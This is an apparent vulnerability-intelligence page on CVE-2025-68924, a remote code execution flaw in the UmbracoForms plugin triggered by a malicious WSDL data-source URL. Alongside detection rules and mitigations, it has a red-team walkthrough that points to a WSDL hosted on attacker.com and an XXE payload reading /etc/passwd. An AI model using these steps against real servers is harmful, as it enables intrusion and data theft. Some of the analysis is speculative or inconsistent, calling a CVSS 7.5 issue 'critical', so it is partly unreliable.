☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Umbraco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.5 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-68924

CVE-2025-68924 Remote Code Execution in Umbraco
📅 PUBLISHED: 2026-01-16 00:00 UTC 🔄 UPDATED: 2026-08-28 11:35 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.71%
👁️
0.71% probability
17.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Denmark License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-68924 is a critical vulnerability in UmbracoForms, a form builder plugin for the Umbraco CMS. An authenticated attacker can supply a malicious WSDL (Webservice) URL as a data source, leading to remote code execution (RCE). The vulnerability exists in UmbracoForms versions up to and including 8.13.16. With a CVSS score of 7.5, this flaw allows an attacker with valid credentials to execute arbitrary code on the server, potentially leading to full system compromise. No public exploit code or patch is currently available, making this a high-priority unpatched threat.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

UmbracoForms is distributed as a NuGet package (Umbraco.Forms). Organizations using this package should immediately audit their deployments for versions ≤ 8.13.16. Since no patch exists, consider removing or disabling the package until a fix is released. Monitor the official Umbraco repository and NuGet feed for updates.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires authenticated access to Umbraco backend.
  • User Interaction (UI): None (N) – No user action needed.
  • Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
  • Confidentiality (C): High (H) – Full data access possible.
  • Integrity (I): High (H) – Full data modification possible.
  • Availability (A): High (H) – Full system disruption possible.

Threat Level: Critical. Although authentication is required, the low complexity and high impact make this a severe risk for any organization using the affected UmbracoForms versions.

Deep Dive & Mechanics

The vulnerability resides in the data source configuration feature of UmbracoForms. When a user creates or edits a form, they can specify a WSDL URL as a data source to fetch external data. The application fails to properly validate or sanitize the WSDL URL, allowing an attacker to supply a URL pointing to a malicious WSDL file hosted on an attacker-controlled server.

Attack Flow:

  1. Authentication: The attacker must have valid credentials to the Umbraco backend (e.g., editor or admin role).
  2. Craft Malicious WSDL: The attacker hosts a WSDL file that contains malicious XML entities or references to external resources (XXE) or includes code that triggers deserialization of arbitrary objects.
  3. Supply Malicious URL: The attacker navigates to the form data source configuration and enters the malicious WSDL URL.
  4. Server-Side Processing: UmbracoForms fetches and processes the WSDL file. Due to insufficient validation, the server executes the embedded malicious payload, leading to RCE.

Root Cause: The application uses an insecure XML parser or deserialization routine when processing WSDL files, allowing injection of arbitrary code or commands.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common secure coding practices.

Vulnerable Code (C# - UmbracoForms <= 8.13.16):

public DataSourceResult FetchData(string wsdlUrl)
{
    // No validation of the URL or the WSDL content
    var client = new WebClient();
    string wsdlContent = client.DownloadString(wsdlUrl);
    // Insecure XML parsing
    XmlDocument doc = new XmlDocument();
    doc.LoadXml(wsdlContent);
    // Process the WSDL...
}

Patched Code (Hypothetical):

public DataSourceResult FetchData(string wsdlUrl)
{
    // Validate URL against allowlist
    if (!IsAllowedUrl(wsdlUrl))
        throw new SecurityException("Invalid WSDL URL");
    
    var client = new WebClient();
    string wsdlContent = client.DownloadString(wsdlUrl);
    
    // Use secure XML parser settings
    XmlReaderSettings settings = new XmlReaderSettings();
    settings.DtdProcessing = DtdProcessing.Prohibit;
    settings.MaxCharactersFromEntities = 1024;
    
    using (XmlReader reader = XmlReader.Create(new StringReader(wsdlContent), settings))
    {
        XmlDocument doc = new XmlDocument();
        doc.Load(reader);
        // Process the WSDL...
    }
}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Valid Umbraco backend credentials (e.g., editor role).
  • Access to a server to host the malicious WSDL file.

Step 1: Host Malicious WSDL Create a file malicious.wsdl on your attacker server (e.g., http://attacker.com/malicious.wsdl):

<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
             xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
             targetNamespace="http://example.com/">
  <types>
    <schema xmlns="http://www.w3.org/2001/XMLSchema">
      <element name="MaliciousElement">
        <complexType>
          <sequence>
            <element name="cmd" type="string"/>
          </sequence>
        </complexType>
      </element>
    </schema>
  </types>
  <message name="MaliciousMessage">
    <part name="parameters" element="tns:MaliciousElement"/>
  </message>
  <portType name="MaliciousPortType">
    <operation name="Execute">
      <input message="tns:MaliciousMessage"/>
    </operation>
  </portType>
  <binding name="MaliciousBinding" type="tns:MaliciousPortType">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <operation name="Execute">
      <soap:operation soapAction="http://example.com/Execute"/>
      <input>
        <soap:body use="literal"/>
      </input>
    </operation>
  </binding>
  <service name="MaliciousService">
    <port name="MaliciousPort" binding="tns:MaliciousBinding">
      <soap:address location="http://attacker.com/execute"/>
    </port>
  </service>
</definitions>

Step 2: Trigger the Vulnerability

  1. Log in to Umbraco backend.
  2. Navigate to Forms → Data Sources.
  3. Click "Add Data Source" and select "Webservice".
  4. Enter the malicious WSDL URL: http://attacker.com/malicious.wsdl.
  5. Save the data source. The server will fetch and process the WSDL, potentially executing arbitrary code.

Step 3: Achieve RCE If the server is vulnerable to XXE or deserialization, you can embed a payload in the WSDL that executes system commands. For example, using XXE to read files:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<definitions>&xxe;</definitions>

Blue Team

Detection:

  • Monitor for outbound HTTP requests to unknown or suspicious domains from the Umbraco server.
  • Alert on creation of new data sources with WSDL URLs pointing to external IPs or domains not in an allowlist.
  • Review Umbraco logs for errors related to XML parsing or WSDL processing.

Hunting:

  • Search for recent modifications to form data source configurations.
  • Check for unusual processes spawned by the IIS application pool (e.g., cmd.exe, powershell.exe).
  • Analyze network traffic for XML payloads containing <!DOCTYPE or SYSTEM entities.

Containment:

  • Immediately disable the UmbracoForms plugin if no patch is available.
  • Restrict outbound internet access from the Umbraco server to only trusted domains.
  • Implement strict input validation for WSDL URLs (allowlist approach).

Indicators of Compromise (IOCs)

  • Network:
    • Outbound HTTP/HTTPS requests to attacker-controlled IPs/domains.
    • XML payloads containing <!DOCTYPE, SYSTEM, or ENTITY in POST data.
  • File System:
    • Unexpected files in %TEMP% or %WINDIR%\Temp (e.g., .exe, .ps1).
    • Modified or new files in Umbraco's App_Data or Config directories.
  • Process:
    • Spawned processes like cmd.exe, powershell.exe, wscript.exe from the IIS worker process (w3wp.exe).
  • Logs:
    • Umbraco logs showing errors like "Invalid WSDL" or "XML parsing error".
    • IIS logs with POST requests to /umbraco/forms/ endpoints with unusual parameters.

Detection Engineering

YARA Rule

rule CVE_2025_68924_WSDL_Malicious
{
    meta:
        description = "Detects malicious WSDL files targeting CVE-2025-68924"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68924"
    strings:
        $wsdl_def = "<definitions" nocase
        $wsdl_soap = "<soap:binding" nocase
        $xxe = "<!DOCTYPE" nocase
        $entity = "SYSTEM" nocase
        $cmd = "cmd" nocase
        $powershell = "powershell" nocase
    condition:
        $wsdl_def and $wsdl_soap and ($xxe or $entity or $cmd or $powershell)
}

Sigma Rule

title: CVE-2025-68924 - UmbracoForms Malicious WSDL Data Source
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of a data source with a suspicious WSDL URL in UmbracoForms
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/umbraco/forms/*'
        cs-uri-query|contains: 'wsdl'
    condition: selection
falsepositives:
    - Legitimate use of external WSDL services
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68924 - UmbracoForms Malicious WSDL Request"; flow:to_server,established; content:"POST"; http_method; content:"/umbraco/forms/"; http_uri; content:"wsdl"; http_uri; pcre:"/<!DOCTYPE|SYSTEM|ENTITY/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable UmbracoForms if not critical to business operations.
  2. Restrict outbound internet access from the Umbraco server to only trusted domains.
  3. Implement URL allowlisting for WSDL data sources (e.g., only allow internal or pre-approved URLs).
  4. Monitor logs for any suspicious activity related to form data sources.

Long-Term Fix:

  • Await an official patch from Umbraco. Until then, consider migrating to an alternative form solution.
  • Apply virtual patching via a WAF (Web Application Firewall) to block requests containing wsdl in the URI with suspicious XML patterns.
  • Conduct a security audit of all custom code interacting with UmbracoForms.

Workaround:

  • Modify the web.config to disable the WSDL data source feature by removing the relevant handler or route.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-68924/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.